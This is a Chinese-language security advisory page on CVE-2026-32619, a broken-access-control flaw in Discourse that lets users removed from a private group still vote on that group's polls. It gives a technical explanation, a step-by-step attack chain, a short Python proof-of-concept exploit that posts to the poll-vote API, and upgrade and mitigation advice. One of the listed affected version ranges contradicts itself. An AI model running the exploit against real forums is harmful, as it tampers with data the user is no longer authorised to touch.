IPBUF安全漏洞报告
English
CVE-2026-32619 CVSS 4.3 中危

CVE-2026-32619 Discourse访问控制失效漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-32619
漏洞类型
访问控制失效
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

访问控制权限绕过Discourse逻辑漏洞CVSS-4.3

漏洞概述

Discourse是一个开源讨论平台。在2026.1.0等特定版本中存在访问控制漏洞。当用户失去对某个主题的访问权限(例如从私有类别组中被移除)后,仍能对该主题内的投票进行交互,包括投票和切换投票状态。虽然未暴露敏感内容,但用户可修改其无权访问的主题的投票状态,破坏了数据的完整性。该问题已在2026.1.3、2026.2.2和2026.3.0版本中修复。

技术细节

该漏洞源于Discourse在处理投票权限时的逻辑缺陷。系统在检查用户是否有权访问主题内容时,可能正确阻止了查看帖子的请求,但在处理针对投票的操作(如POST请求进行投票)时,未正确验证用户当前是否仍属于该主题的可见性分组。攻击者只需拥有低权限账号,在被移出私有组后,利用API端点直接发送针对旧主题投票的请求,即可绕过前端界面限制。由于后端未对投票操作与主题访问权限进行强关联校验,导致攻击者能够篡改投票结果,影响数据完整性,但无法读取未授权内容。具体而言,漏洞出现在控制器层的权限校验阶段,未在执行投票动作前重新加载用户的权限上下文,导致使用了过期的权限缓存,从而实现了越权操作。

攻击链分析

STEP 1
步骤1
攻击者拥有一个普通用户账号,该账号被加入到一个私有类别组,从而可以访问该类别下的特定主题和投票。
STEP 2
步骤2
攻击者在拥有访问权限期间,记录下目标主题的ID (topic_id) 和投票的名称 (poll_name)。
STEP 3
步骤3
管理员将攻击者从私有类别组中移除,攻击者理论上失去了阅读和操作该主题下内容的权限。
STEP 4
步骤4
攻击者使用记录下的ID,直接向后端API发送投票请求(POST /polls/vote),携带有效的API凭证。
STEP 5
步骤5
由于后端未严格校验当前用户对主题的访问权限,请求被成功处理,攻击者完成了未授权的投票操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-32619 (Discourse Access Control Issue) This script demonstrates how a user removed from a private group can still interact with polls in topics they no longer have access to. """ import requests TARGET_URL = "https://example-discourse.com" API_KEY = "YOUR_API_KEY" API_USERNAME = "revoked_user" TOPIC_ID = 12345 # Topic ID inside the private category POLL_NAME = "poll" headers = { "Api-Key": API_KEY, "Api-Username": API_USERNAME, "Content-Type": "application/json" } # Attempt to vote on a poll in a restricted topic # Note: The user has been removed from the group that grants access to this topic vote_url = f"{TARGET_URL}/polls/vote" payload = { "topic_id": TOPIC_ID, "poll_name": POLL_NAME, "options": ["1"] # Selecting option 1 } response = requests.post(vote_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited! Vote cast successfully despite lack of topic access.") print(f"[+] Response: {response.json()}") else: print("[-] Failed to cast vote or patch applied.") print(f"[-] Status Code: {response.status_code}")

影响范围

Discourse 2026.1.0 到 2026.1.3 之前
Discourse 2026.2.0 到 2026.2.2 之前
Discourse 2026.3.0 到 2026.3.0 之前

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应暂时禁用投票功能或严格监控私有分类下的投票日志,确保只有当前组成员能操作。同时,在移除用户权限时,强制清除服务端缓存或重启相关服务以防止权限残留。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表